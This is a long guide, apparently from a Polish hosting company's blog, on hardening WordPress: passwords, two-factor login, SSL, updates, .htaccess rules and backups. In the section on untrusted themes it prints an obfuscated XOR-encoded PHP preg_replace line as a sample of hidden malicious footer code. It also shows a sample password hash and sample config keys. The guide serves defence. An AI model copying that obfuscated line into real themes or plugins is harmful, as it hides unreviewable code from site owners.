Kompendium: Jak zabezpieczyć WordPressa?
Kamil Porembiński
Kamil Porembiński
03.07.2018

Compendium: how to secure your WordPress?

WordPress is one of the most popular CMSs in the world. Depending on the statistics, it runs from several to even dozens millions of websites. The increasing popularity of WordPress in Poland translates into the growth of number of the associated attacks. Many of them can be prevented by securing the given website with simple steps. This will the main topic of this article.

Topics related to security of websites require spending some spent on the implementation of good solutions. There is no magic “Secure My WordPress” button or a plugin that will solve this problem for us. Despite the fact that the creators of WordPress takes the subject very seriously, there is a large list of things that we have to take care of ourselves.

That is why I have good and even better news for you. The good news is that this article is really long and comprehensive. What is the better news? Its volume is accompanied by quality. You will find an overview of the most important topics related to WordPress security in one place, so you won’t have to jump through different pages and articles.

Let’s start.

Spis treści

Podcast (polish)

If you prefer listening to us to reading the articles, you can find our podcast below. There is also an audio version of this article. You can listen to it using Podcasts app on iOS, an application of your choice on Android, Tunes, YouTubeSoundCloud and Spreaker.

General recommendations

When you start securing your WordPress-based website, you should focus on several general issues. They concern not only the CMS itself, but also all the things related to it that affect its security.

You can listen to Niebezpiecznik podcast, where very interesting topics related to enhancing security are discussed.

Take care of the quality of passwords

Website login data is one of the most desired information by cybercriminals, which may leak out during attacks. The most common mistake is using the same password for many websites and using too weak passwords in general.

If we use a weak password, security measures might not be effective. It doesn’t concern only difficult password for the WordPress admin panel itself, but also for the server, e‑mail or client panel in the hosting company. If we use a simple password and, what’s worse, we use the same password on several websites, the password doesn’t necessarily have to be hacked on our website. An attacker can hack passwords on another website, and since we use the same password everywhere, he or she can simply log in to our WordPress.

Try to create difficult passwords by adding special characters, lowercase and uppercase letters and numbers. Simple passwords are hacked with brute-force method. Today’s computers can guess such a password in a fraction of a second.

It is worth having a different password for each website. Applications such as 1passwordKeePass or LastPass, will help us remember all of them.

Jimmy Kimmel presents how simple passwords are and how easy it is to get them.

Apart from the password itself, it is worth mentioning the method associated with its recovering. Password reminder is often used to hack passwords. Most often, it is a question such as “Name of my dog”“Favourite dish” etc. This type of information is publicly available on social media, so the attacker can use it to change your password in the mailbox to which they will then send a WordPress password reset.

What I personally recommend to everyone is the inclusion of two-factor authorisation (2FA) on the most important accounts (mail, social media profiles, important websites). Such an approach drastically increases the level of security of accounts protected this way.

Two-factor authentication

Usually, we log in to many websites with a login and a password. Two-factor authentication(2FA) is another obstacle an attacker has to overcome in order to access the website.

The idea of the two-factor authentication is simple: apart from the login data, the user has to provide additional information or perform an additional operation in order to be authorized. It can be a text, a code from an application or clicking the link sent to the e‑mail address associated with the account. In order to log in you need to have access to data that the potential attacker may not have (phone, other account, etc.).

Most of poplar websites support 2FA, so it’s worth using it for your own peace of mind. Additionally, 2FA authentication is often required only on new devices or browsers from which you log in — this way you won’t have to enter an authorization code at every login (although you can do so for even better security).

An example of two-factor authentication with Google Authenticator.
An example of two-factor authentication with Google Authenticator.

This method secures access to the website, even if your password is hacked, and for that reason this service should be enabled wherever possible. For example, access to our Client Panel and hosting panel is protected by 2FA.

It is also possible to enable two-factor authentication to the administrator panel in the WordPress.

Pay attention to who have access to your websites

While creating and developing a website, we often use the external services to perform certain tasks. We provide access to our website, hosting server or other services to programmers, SEO teams or editors. Unfortunately, after some time, we forget to remove the accounts of people who no longer cooperate with us.

WordPress Users11 forgotten administrators
11 forgotten administrators.

On the one hand, a list of people who have access to our website is important from the point of view of the GDPR, and, on the other hand, for safety reasons. When terminating cooperation with a given person or company, remember to change their passwords or remove their access. We often simply forget about such activities.

Avoid outdated software

Updates to software, operating system or applications on a mobile phone are already executed on a daily basis. Don’t ignore them when taking care of the security of your computer or website. A new version of a programme not only provides you with more features but also fixes bugs found in the older version. Many of these errors relate strictly to security.

If you work on a computer with an outdated operating system, antivirus or a programme to connect to the server, you may pose a risk to yourself or visitors to your website.

There are many computer viruses that can steal server passwords from your computer from outdated versions of programmes such as these: FileZilla, WinSCP or Total Commander. Even worse, they can use stolen passwords to infect websites on the server they have access to.

Recommendations on the server or hosting side

An administrator or a hosting company is responsible for the security of the server and its hosting — this part will focus on the aspects we can influence ourselves and what we can do to improve the security of the website running on that server.

Do not treat your server like a trash

The server should contain only the most necessary things that we and our visitors will use. By keeping order in directories, databases, email accounts, it will be easier for you to update everything or simply watching over the access to services.

Keeping various test scripts, forgotten sites or another version of the /old directory on the server gives attackers plenty of room for manoeuvre. They can access your data through such forgotten files placed somewhere on your disk.

The mess in your hosting is also a great place to hide all kinds of malware such as: Trojans, Internet worms, backdoors or cryptocurrency extractors. This will make it equally difficult for administrators and programmers to identify the threat and remove it.

If you don’t care about having order in your files and databases, you may also have a problem with backup and, even worse, faster file recovery. The more unnecessary things are kept on the server, the longer it takes to perform the backup. This may also delay restoring a file.

Remember: your the server is not a trash.

User, password and database

One of the simplest steps we can take is to create a separate database and user for each website. This will ensure, first of all, that we are able to keep it clean. If it is necessary to restore a database, we will be able to restore the database specific for a given website. Another advantage of such a solution is the creation of separate users and passwords to websites. Each instance of WordPress or other script uses its access data.

When creating a database, giving a unique name to both the database and a user who will access it, is also a good idea. This is not an ideal security measure and can be classified as so-called deep hiding, but it will certainly make access to the data more difficult.

You should also avoid remote connections to the database. MySQL / MariaDB server does not encrypt its connections in the default configuration. When you access your database from an office, home or café you might risk eavesdropping on the connection. As a result, the attacker will be able to read your WordPress data, such as login, e‑mail or password hash.

select * from wp_users;
wp_users
display_name
display_name
mateusz"$P$BxZBPEad1Mxq0lZL9SCzdAgUQz9nyI.
mateuszmateusz@exadop.org
2017-03-21 12:24:18
mateusz

Above you can see an example of data hacked when user login mateusz logged in to the WordPress panel. You can also read the password hash and you could try to hack it.

Use SSL certificate

There is a lot to tell about SSL certificates. The most important principle is to use them. It doesn’t matter whether you use free or paid certificate. You protect your website against eavesdropping and various attacks, e.g a man-in-the-middle attack.

Pay attention to the server on which you install the certificate and check whether is had the correct configuration. You can check it using various tools available online or ask the server or hosting administrator.

Using an encrypted https connection means not only security, but also HTTP/2 access, which speeds up the loading time of the website.

The next step is to enable SSL in WordPress. There are two ways to do it: a fast and incorrect way or a bit more difficult and correct one.

How not to enable SSL in WordPress

The first method is to install Really Simple SSL plugin. Because of its simplicity, it is recommended by many bloggers and not tech savvy people. Enabling SSL is nothing more than just installing the plugin and clicking Go ahead, activate SSL.

Moving your website from HTTP to HTTPS is a one-time operation and should be treated as such. If there are any problems after SSL has been enabled (the site includes CSS/JS files/images shared through a non-encrypted connection, etc.), these problems should be recognized and fixed.


Using a plugin for this purpose, which tries to find such problems during each page view and fix them only at that time doesn’t make much sense. This is both inefficient (because the problem persists) and dangerous approach (what if the file is not available via HTTPS?).
Additionally, it is a typical example of an unnecessary plugin – i.e. a plugin that is present, burdens the website, increases the cost of its maintenance (updates, maintaining security), and performs operations that would be sufficient to perform only once and without any plugin.

Krzysztof Dróżdż, WPmagus – WordPress magicians

Using this plugin may adversely affect the operation of the server and the website, which, in result, might lead to slower operation. It is also worth to familiarize oneself with an article by the developers of this plugin.

How to properly enable SSL in WordPress

If you install WordPress using an SSL connection (https://), you only need to redirect the traffic to the encrypted version. This can be done with .htaccess:

RewriteEngine On
RewriteCond %{HTTPS} !=on [NC]
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

If you use Let’s Encrypt certificates, the rule is as follows:

RewriteEngine On
RewriteCond %{REQUEST_URI} !\.well-known/acme-challenge
RewriteCond %{HTTPS} !=on [NC]
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

However, if you did not have an SSL certificate implemented from the very beginning, then, apart from its implementation and redirections, you still have to change the links in the database. WordPress, when it worked without https, saved post links to e.g. pictures in the form of http. Redirecting a page to a version with SSL will only cause a problem called Mixed Content.

To prevent this, you can use the Better Search Replace plugin, which will change all links from http to those with https.

A plugin used to change text in the WordPress database.

In the Search for field enter the address of your website after http e.g. http://thecamels.org/ and in the Replace with enter the version with SSL, i.e. https://thecamels.org. Select all tables, uncheck Run as dry run? and click the button at the bottom.

Fields to be filled in when changing website addresses
Fields to be filled in when changing website addresses.

Before changing addresses an additional backup is also a good choice. After the changes have been made, remove the plugin in order to keep your server clean.

Use the latest versions, e.g. PHP, MySQL, etc.

Software update on your computer is not enough. Choosing the latest versions of programmes on the server side is also important. Many hosting companies provide various versions of the PHP language on their accounts. Unfortunately, these are often outdated, vulnerable and dangerous versions of this language. Using them might lead to the so-called technological debt, it might also cause many attacks on WordPress.

Changing your software to a newer one, apart from the security issues, often enhance the performance. Choosing PHP 7.1 version, which increased page performance by up to 400% sounds like a good idea.

Supported PHP versions as of 30.06.2018
Supported PHP versions as of 30.06.2018.

On secure.php.net you can see the currently supported PHP version and the one that should be used.

Separate the test environment from the production environment

When creating a large website, an online store or just a blog, we often have to check things on the test version of the website. In an ideal world, such versions are kept on separate servers or hosting accounts. This allows us to allocate accesses to the test environment to developers who should not have insight into our production environment.

Such a solution makes you keep your server clean, too. We will not find any test versions of software with potential errors on the production website hosting. Many well-known websites have been attacked by unsecured test versions. You should avoid creating a beta version of your website at addresses such as:

  • test.my-website-address.com
  • beta.my-website-address.com
  • my-website.com/test
  • etc.

These are extremely popular addresses that web robots will be able to reach and infect. If you are already using such an address, it is worth protecting it against external access with a password.

One of the methods of safe implementation of changes in the environment can be the use of Blue-Green software deployments. In large systems, we can use Continuous Integration, Continuous Delivery and Continuous Deployment in order to implement changes in the production environment.

The Camels Load Balancer
Blue-Green software deployment.

Avoid auto-installers

All kinds of auto-installers help us run WordPress for the first time. Installing this CMS comes down to a click of a button and is not much easier than installing this CMS manually.

Unfortunately, WordPress, when installed this way, is often outdated. The auto-installer will also include many themes and plugins that you won’t use. This only introduces clutter on the server and additional software that you need to take care of.

In many cases, auto-installers work in such a way that they create a clone of your WordPress installation. This result in having the same keys on many website, which reduces their security.

Recommendations on the WordPress side

The next step is to introduce security and good practices on the side of WordPress itself. You can perform most of these steps by yourself, without having to install unnecessary plugins. Think about your car — you need to take care it, check it regularly. The same applies to WordPress. Having a website, apart from its benefits, includes also a number of obligations.

Update WordPress, its plugins and themes

Taking care of WordPress consists in updating its elements (core, plugins and themes). Carrying out safety-related updates is crucial. You don’t have to be in a hurry when a new version of the plugin, which adds fixes to the Hebrew translation (unless you use this language), has been released. Updating should be approached in a pragmatic way.

A list of unused themes to update
A list of unused themes to update.

If you don’t keep your WordPress clean, you may have to perform an update of a number of unused themes, which may also contain a vulnerability that will be used to hack the site.

Difference between update and upgrade

One of the most ambiguous concepts in the Polish WordPress nomenclature is the concept of “aktualizacja”. This is due to the fact that there are two equivalents of the word in English: update and upgrade.

Update is an update with small changes – most often of critical patches of broken functions and security. Upgrade is an update, which brings new features to the software apart from the fixes.

In the case of an update, there is usually no risk of incompatibility with the installed themes and plugins, but when you upgrade, there is a certain risk that the installed themes and plugins may stop working properly, especially if you upgrade immediately after its release. The developers of extensions for WordPress often need some time to release software compatible with the new version.

How to differentiate between update and upgrade?

In the case of WordPress, just take a look at your version. WordPress uses a versioning method on three numbers, e.g. 4.7.0. If only the last number has changed, this is an update. However, when the first or second number has changed, we are dealing with an upgrade.

Examples:

  • I have version 4.7.1 and I received information that WordPress version 4.7.2 was released – this is an update.
  • I have version 4.6.4 and I received information that WordPress version 4.7.0 was released – this is an upgrade.

Due to the fact that every update usually makes small changes, extension developers often name a WordPress version as e.g. 4.5.*, referring to all versions starting with 4.5.

Changing the first number of versions in the case of WordPress will probably not include drastic changes (as in the case of a large software group). Therefore, updating WordPress from version 4.9.* to version 5.0.0 is likely to have the same number of changes as updating WordPress 4.5.* to WordPress 4.6.0.

How to update/upgrade correctly?

Both when you perform an update and an upgrade, preparing a back up of your WordPress beforehand is considered a good practice.

The chance that something bad will happen during the update also depends very much on the complexity of the site and the solutions that the site uses. However, it is always worth protecting yourself with a backup, especially in cases where you do not have the appropriate technical knowledge.

Updates and upgrades can be also checked on the test environment.

When is an update necessary?

According to a common theory, WordPress should be updated/upgraded when information about the new version has been released. However, taking a more pragmatic approach might be useful. Perform your updates/upgrades almost immediately when it comes to security updates. In other cases, you can take some time, especially when you consider updates that perform an upgrade.

If you don’t necessarily need a new feature, it’s a good idea to wait a few days for other users to check the new version. This might be useful since serious errors often occur when there are major changes in the WordPress code or plugins.

Keep in mind you don’t have to have the latest version of WordPress in order to have a safe website. For example, security patches can be issued even for WordPress 3.7. Of course, using such an old version might be a significant obstacle when it comes to the availability of plugins and themes, which are most often tested only to two versions back.

Automatic updates

By default, WordPress automatically installs updates, as there is a small risk something will go wrong. It is possible to configure WordPress so that it automatically updates its code and the code of plugins, themes or translations.

It is worth considering whether it is recommended to enable automatic updates of plugins and themes as well as to perform automatic WordPress upgrades. With large and complex websites, this can lead to a situation where the website will be unavailable for a certain period of time – until you discover problems with the website.

Release of WordPress, which fixes automatic updates.

However, keep in mind that despite the automatic updates, it is worth checking whether they have actually been performed. Sometimes they fail and you have to upgrade or update manually.

Install plugins and themes only from proven sources

One of the factors why WordPress is so popular is the number of plugins and themes you can add. There are numerous websites which offer them for free. At first glance, it is hard to determine whether the element we download and install in our WordPress is safe. We often lack knowledge to perform reviewing the code of the given theme or plugin.

The footer of the theme you install may look like the one below. This might be obscured information about the author of the theme or a malicious code. Tools such as UnPHP might be of help, but even they often won’t manage.

<?php preg_replace("\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40","\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c\200\x4"^"\273\40\13\312\x96\265\x16\xbc\x98\xbf\x13\374\xd1\x7b\x4b\15\32\x8\104\xf6\xbe\53\2\345\113\xa3\352\114\x92\155\111\xbb\xb5\251\77","\206\65\x30\x2f\160\x2\77\x56\x25\x9a\xf\x6\xec\317\xeb\x10\x86\x0\244\364\255\x57\x53\xf3\x8d\xb9\13\x5c\2\272\xc5\x97\215\347\372\x83\x74\367\x28\x2e\xd1\x36\x72\177\223\x3c\xb2\x1a\x96\271\127\x3b\337\xcf\277\317\xb7\4\214\271\xb2\235\71\xa6\x3d\205\325\127\336\70\xd6\x7c"^"\312\7\x58\131\x12\x55\152\146\151\250\76\166\210\207\x9b\x22\xdf\127\xcc\x9e\xe1\144\x11\302\324\324\x73\x2c\133\213\374\xf8\xe9\240\313\xf0\x38\305\x6e\x54\xb2\4\x24\x4f\360\105\213\152\xf4\xee\64\x4d\275\x88\206\xa1\325\x35\265\xc3\xd0\xca\177\xd5\x5f\xc6\xe0\40\274\x55\xb5\x41"); ?>

If you decide to add a theme or a template, it’s worth visiting the official repository of themes and plugins. The ones you will find there will be verified for malicious code. You can also contact a test team for this type of activity on your own as part of the Contributor Day.

Ratings on the WP Super Cache plugin
Ratings on the WP Super Cache plugin.

Before you install a plugin, try to check the ratio of positive ratings (5 and 4) to negative ones (1 and 2). Users’ reviews are equally important. It may turn out the description of the plugin is misleading or the plugin does not do what we expect. Checking whether the plugin is still being updated and developed is also a good idea. It might have been abandoned a long time ago and nobody will repair its errors.

You can also download addons from websites offering their paid versions. ThemeForest and CodeCanyon are a good example. Note that paid plugins or themes can also be vulnerable and should be upgraded. Many serious bugs were found in paid plugins such as RevSlider or WPML.

Pay attention to where the paid theme or plugin is downloaded from. Torrent versions very include Trojan horses and other malicious code.

You can also take a loot at the recommended and prohibited WordPress plugins.

Change the prefix in the database

When installing WordPress, we set a prefix for table names. The default is wp_. This solution allows you to install several WordPresses in one database. It is good practice to set your own prefix e.g. dws_. This will make it more difficult for online robots to find specific tables in the database.

Transfer database data

By default, logins and passwords to the database are saved in the wp-config.php file. If there is a malware on the server that searches for data connected to the database, we can make it more difficult. Replace the section:

define('DB_NAME', 'database');
define('DB_USER', 'user');
define('DB_PASSWORD', 'password');
define('DB_HOST', 'localhost');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');

with the following code:

require_once "wp-config-database.php";

and then we will copy it to the new wp-config-database.php file, which we place on the server. We can also move this file from the main directory of the page (Document Root) and change the path to it.

Change your administrator login and ID

During installation, older versions of WordPress created a default administrator account called admin. Since version 3.0, we can determine the name of the main account. It is a good practice to change it to something else than the popular “admin” or “administrator”. This way we will certainly make it difficult to access our site. Remember to set up a difficult password and enable two-factor authentication.

Restrict access to the WordPress panel using .htaccess

To avoid problems with Brute-Force attacks on the WordPress admin panel, the simplest method is to add BaseAuth authorization. It may be used in parallel with two-factor authentication.

In order to add it, we create a .htaccess file in the wp-admin directory:

AuthType Basic
AuthName "test"
AuthUserFile "/jakas/sciezka/.htpasswd"
require valid-user

<FilesMatch "admin-ajax\.php|admin-post\.php">
    Order allow,deny
    Allow from all
    Satisfy any
</FilesMatch>

The .htpasswd file should be located in a path outside the main directory of the page. Its syntax is a definition of one user with a password saved as hash per line. Additionally, in the case of hosts using cPanel, you should add .htaccess in the main file:

RewriteCond %{REQUEST_FILENAME} !\.shtml$

Disable editing of theme files and plugins

Edycja wtyczek oraz motywów z poziomu panelu WordPressa praktycznie się nie przydaje. Praca z tym edytorem jest ciężka. Niestety domyślnie jest on włączony i niektóre złośliwe wtyczki potrafią za jego pomocą dodać swój kod. Tak właśnie może rozprzestrzeniać się malware. Aby wyłączyć edytor, należy w pliku wp-config.php dodać kod:

define( 'DISALLOW_FILE_EDIT', true );

Disable user registration if you don’t need it

An unsecured registration form may be the basis for taking over our website. In the past, attackers were able to create a new WordPress administrator account using properly hacked data.

Mass registration of hundreds, if not thousands of accounts, is another potential threat. As a result, our domain/account may be blocked by the service provider for suspicion of sending SPAM.

In order to protect yourself from the above, it is necessary to disable the possibility of registering new users in WordPress. If we can’t do that, since we want register new users, we want to run a shop, etc., we have to take care of the best possible protection against the potential risks associated with registration. These are the steps to be taken in order to disable the registration of new users:

  1. Log in to the administration panel.
  2. Go to General Settings.
  3. Untick “Anyone can register”.

This will prevent new users from registering. As a result, the registration link will disappear from the administration panel login page. If you try to access wp-login.php?action=register, you will be redirected to the WordPress administration panel login page.

Enable two-factor authentication in WordPress

Enabling this function in WordPress is extremely simple and boils down to installing a Two-Factor Authentication plugin. Then, a new tab Two Factor Auth will appear in the panel, where you can enable two-factor authentication for your account.

Recommended plugin for two-factor authentication.

Additionally, you will get access to an image, which should be scanned in Google Authenticator (or e.g. Authy, 1Password), available for phones on Android or iOS. The next time you log in after entering your login data, you will see an additional screen asking you to enter a one-time code from the application.

If you lose access to your phone with a token generation application, you can temporarily disable the plugin by adding the following line to wp-config.php:

define('TWO_FACTOR_DISABLE', true);

Those who are more sensitive about the security may try to buy a hardware authorization key – such keys are created e.g. by yubico.

YubiKey 4
YubiKey 4

An advantage of this solution is that in order to log in, you need to plug in a hardware key to your USB drive. If you fail to do that, you will not be able to log in. At the same time, you do not need to rewrite one-time codes.

Paid version of 1Password solved the problem of one-time passwords perfectly. The best thing about it is that the application is able to automatically copy the one-time code to the clipboard when logging in, which significantly facilitates the process of logging in.

You should also consider the Two-Factor plugin, which is now under WordPress beta tests. It is possible it will be included in WordPress in the future.

Plugin for many 2FA methods.

Keep WordPress organized by removing unnecessary plugins and themes

Keeping your WordPress clean is a priority. Many intrusions into WordPress itself go through old, outdated or simply unused themes and plugins. Disabling them from the panel won’t suffice, as they are still on the server and can be used to attack the site.

Examples include a security gap found in the default TwentyFifteen theme, which enabled a DOM-based Cross-Site Scripting (XSS) attack.

If you don’t’ use a given plugin, remove it. Smush is an example
If you don’t’ use a given plugin, remove it. Smush is an example.

The same applies to the plugins that you install. If you don’t use them anymore, or if you don’t need them, they should be removed. It is also worth checking what plugins you have. 

Ten most vulnerable WordPress plugins
Ten most vulnerable WordPress plugins.

Keeping WordPress tidy also means deletion of unnecessary files that can be there after an upgrade. Theoretically, the update itself should handle this, but sometimes something may go wrong (e.g. lack of permission to delete files). We can then use Old Core Files plugin, which will show us unnecessary files. We have to delete them manually, e.g. via FTPs.

If you want to keep your WordPress in order, carry out its regular review.

Change WordPress keys to your own

There is a section with keys in the configuration file (wp-config.php). They are used for authorization and encryption, so it is worth making sure that each instance of WordPress has unique keys. It is dangerous to use the same keys on many pages.

Some auto-installers use the same keys for each WordPress installed. This is what an example section with keys looks like:

define('AUTH_KEY',         'K-o@ox=|MExDm||^!U|Nre(i+.EFmZ`6cou*&>BQY<zrr1rXD!m^uqFHUCC->S15');
define('SECURE_AUTH_KEY',  'EFElQ!V?rx!A@zk^+ejg$:gPa1YG&&Jq;Y4cuo]tUY|iadh)K{QLPJzOB3;e+bt4');
define('LOGGED_IN_KEY',    '.bm),ruw(dJM/g|rhui-2y2EsB1o^y=PL!t}+,AsaK!6W;;@O-[wh@[/OS(pMy@p');
define('NONCE_KEY',        'Qv>hS+}k1mKcHm`x-DV,{6=GB{jl>oF#>q?P|n#TmBZTEO<kZ@By)N8,ravF!~q6');
define('AUTH_SALT',        '=|V,SC$QJ <U (?jq<_gnx=.|-iVl^`HkH(aK48B`/-QZH4XHnqm/|}+&sHauP,9');
define('SECURE_AUTH_SALT', '9]k%Jnw)3Arb{IVR,[bUBo+9X$8]}I)E}eU)yaW|1x?n~XYm3-c2r8FV*.JIj:8_');
define('LOGGED_IN_SALT',   ' hF%.eP`b.*c8^QO/y6RTR;3s0=:C_vdZ4&[<VPx:P#a/?7?;cnnfj1ims&s5tez');
define('NONCE_SALT',       '1,~PtYOW+2-8c}(MIqre~=lV8c{$ixnZTujjL(kb7-|(A))s-H*gy|nsP~2*OI7m');

The keys can be generated independently on api.wordpress.org and used to replace those in the configuration file.

Disable comments if they are unnecessary

What would a blog without comments be? However, there are websites based on WordPress that do not require a commentary system. Is such a case, it is worth disabling this function in order not to expose your website and server to attacks such as Denial of Service.

Deleting the code responsible for displaying comments in the theme will not suffice. They will still be available for robots or attackers. The possibility of commenting should be blocked for anonymous users, and turned off in connection with blocked registration.

Protect yourself against enumeration of users

Enumeration is a process of searching correct user accounts in a badly secured system. When acquiring a user, you have to hack his or her password, if the access to the panel is not protected by Base Auth or 2FA. A protection code added to .htaccess can be used as the protection again enumeration:

RewriteCond %{QUERY_STRING} ^author=([0-9]*)
RewriteRule ^ /? [L,R=301]

However, the login may appear in search results or site maps provided by plugins. It is worth setting up a login other than a nickname, and using special characters.

Disable debugging mode

If you are not working on the test environment, the debugging mode is redundant. Hiding the display of errors (if any), as they may reveal some information to the attacker, might also be a good idea. The easiest way to do this is to edit the wp-config.php file and change it:

define('WP_DEBUG', false);

na:

define('WP_DEBUG', false);
if ( ! WP_DEBUG ) {
  ini_set('display_errors', 0);
}

This will enable us to hide all errors, even if the hosting company did not do it for us.

Providing access data to other services in WordPress

Many plugins ask us to provide access data or tokens to other services. It is important to be aware that if your website is not sufficiently secure, the data from other accounts (or even these accounts) may be taken over when your WordPress is hacked.

These are two quite common types of such plugins:

  • SMTP configuration plugins – one of the easiest ways to configure them is to provide access data to the e‑mail account that will be used to send emails via WordPress. Such plugins are most often used where hosting does not allow the use of mail() function in PHP. Another reason for their use is the desire to reduce the risk that the mail sent via WordPress will be considered SPAM.
  • Backup plugins. Keeping backups on the same server is definitely a bad idea. That’s the reason why such plugins most often ask for access data or authorization tokens for external services such as Google Drive, Dropbox, FTP, etc. The plugins can be used in a variety of ways.

The easiest way is to create separate accounts for specific needs:

  • If you need to configure SMTP, create a dedicated e‑mail account. Then the loss of such an account will not be too severe.
  • For backups, it is best to create a separate account in one of the services providing cloud data storage. In this case, it is also worth taking care of a sufficiently strong password and the use of an additional authorization level (if the service provider offers such an authorization level).

Another solution is to ensure that WordPress itself is properly secured – that refers to additional authorization steps, regular updates, etc. Keep in mind that an unknown (undisclosed) security vulnerability can still lead to hacking your website. That’s why having backups is so crucial.

When storing data in plugins, one principle must be taken into account:

All access data provided and saved in the configuration options of WordPress plugins should be treated as data exposed to disclosure as a result of an attack on your website.

Tomasz Dziuda

Block access to XML-RPC

If you do not use XML-RPC (pingback, mobile applications, Guteberg editor), you can restrict access to it or disable it completely with:

function remove_xmlrpc_pingback_ping( $methods ) {
  unset($methods['pingback.ping']);
  unset($headers['X-Pingback']);
  return $methods;
}
add_filter('xmlrpc_enabled', '__return_false');
add_filter('xmlrpc_methods', 'remove_xmlrpc_pingback_ping' );

or with .htaccess:

<Files xmlrpc.php>
  Order deny,allow
  Deny from all
</Files>

Do backups

Every hosting company does backups (maybe except for the one that did not). Hostings use various mechanisms to perform back-up. These can be incremental, differential, carried out on external matrices and so on. Duplicity is a great tool for that.

If you wish to back up large databases, we recommend using e.g XtraBackup which is triggered on database replication. Such a solution does not burden production servers.

However, it’s worth having your own backup, but not on the same server as the one you already have a website on. If the sever fails, you will also lose your back-ups. In the case of hosting, the time needed to backup your backups will last much longer.

Nearly 100 GB of backups created by the UpdraftPlus plugin.
Nearly 100 GB of backups created by the UpdraftPlus plugin.

Backups should be kept on an external server or a resource such as Google Drive, DropBox, OneDrive or Amazon S3. If the plugins are to send backups to external services, it is necessary to provide them with data.

What is not worth doing?

The list of recommendations you can follow to increase WordPress security is really long. However, there are things you should avoid doing.

Security plugins

These are all kinds of plugins providing security. They are usually huge, and give a false sense of security.

If we look at the reports on the 10 most vulnerable plugins, these might be found on the list:

In the top ten we have: better-wp-security and wordfence.
In the top ten we have: better-wp-security and wordfence.

Please note that security is a process that takes some time and requires more effort than clicking on a button in the plugin panel.

Changing default paths

The default paths to plugin and themes resources are wp-content/plugins and wp-content/themes respectively. The paths and names of these directories can be changed by adding an entry to wp-config.php:

define( 'WP_CONTENT_DIR', dirname(FILE) . '/www/multimedia' );
define( 'WP_CONTENT_URL', 'http://example.com/www/multimedia' );

Such a change will only result in that our website may not resemble WordPress to numerous simple web robots and will bypass it. However, this will not protect us from attacks on the vulnerabilities in these add-ons.

Most plugins add Java Script or CSS files to our website, which makes it easy to check which directory they are in.

Hide unnecessary information about WordPress

Another thing you should not do is to hide information about the WordPress version you are using. Very often, tutorials focus on removing the generator tag from the site code. Such a change does not do much, since the attacker is not really interested in this tag. Internet worms do not pay attention to such data either. They simply scan the page and try to find a vulnerability.

However, if we want to remove information about the version, we should block access to the readme.html file, for example by adding a rule to .htaccess:

<FilesMatch "readme.html">
Order allow,deny
Deny from all
</FilesMatch>

Then delete the WordPress version:

remove_action('wp_head', 'wp_generator');

We also hide versions in RSS, ATOM, comments, scripts, and so on.

define('THE_CAMELS_FILE_VERSION', '0000001');
function rm_generator_filter() {
return '';
}
if(!function_exists('thecamels_remove_wp_ver_css_js')) :
function thecamels_remove_wp_ver_css_js($src) {
if(strpos($src, 'ver=' . get_bloginfo( 'version'))) {
$src = remove_query_arg( 'ver', $src );
}
if(!strpos($src, '?')) {
$src .= '?ver=' . THE_CAMELS_FILE_VERSION;
}
return $src;
}
endif;
add_filter('the_generator', 'rm_generator_filter');
add_filter('style_loader_src', 'thecamels_remove_wp_ver_css_js', 9999);
add_filter('script_loader_src', 'thecamels_remove_wp_ver_css_js', 9999);
add_filter('get_the_generator_html', 'rm_generator_filter');
add_filter('get_the_generator_xhtml', 'rm_generator_filter');
add_filter('get_the_generator_atom', 'rm_generator_filter');
add_filter('get_the_generator_rss2', 'rm_generator_filter');
add_filter('get_the_generator_comment', 'rm_generator_filter');
add_filter('get_the_generator_export', 'rm_generator_filter');
add_filter('wf_disable_generator_tags', 'rm_generator_filter');

This code could be written better, probably, so all suggestions are welcome.

Security testing

If we want to go deeper into the subject of security related to WordPress, it is worth seeing WordPress Vulnerability Statistics. These very interesting statistics show the elements of WordPress where security vulnerabilities are found.

General error statistics in WordPress.
General error statistics in WordPress.

Information about errors can be found on one of the exploit aggregators, e.g exploit-db.com.

When it comes to testing WordPress security, you can use a tool such as WPScan. Before each run, it is advisable to update its database with the following command:

wpscan --update

Website testing is quite simple:

wpscan --url http://moja-strona-domowa.pl

We can also use such scanners as: Detectify, Security Ninja, Acunetix or Sucuri.

Plugin Inspector might also be interesting – it generates a report on the safety of plugins.

We will see the code fragments that are OKUnsafe or Deprecated, all presented in a simple way. The Unsafe status shows those code elements that are suspicious and potentially dangerous. That might not be necessarily the case, but it’s worth looking at the code fragment.

Plugin Inspector
Example of operation of the Inspector plugin.

The Deprecated status shows outdated functions and plugin code fragments. Over time, they will be removed from WordPress or PHP itself and the plugin may stop working. In such a situation, it is worth considering an update.

Summary

WordPress hardening is often a complex process. It requires time and understanding of certain elements. We cannot be always 100% sure whether we have managed to protect our website against everything (e.g. 0-day attacks). However, taking these or other steps will surely minimize the level of risk.

How NOT to secure WordPress?

I am really glad you managed to reach the end. But that’s not all. I have more security-related links for you.

Other interesting materials about WordPress security (in Polish):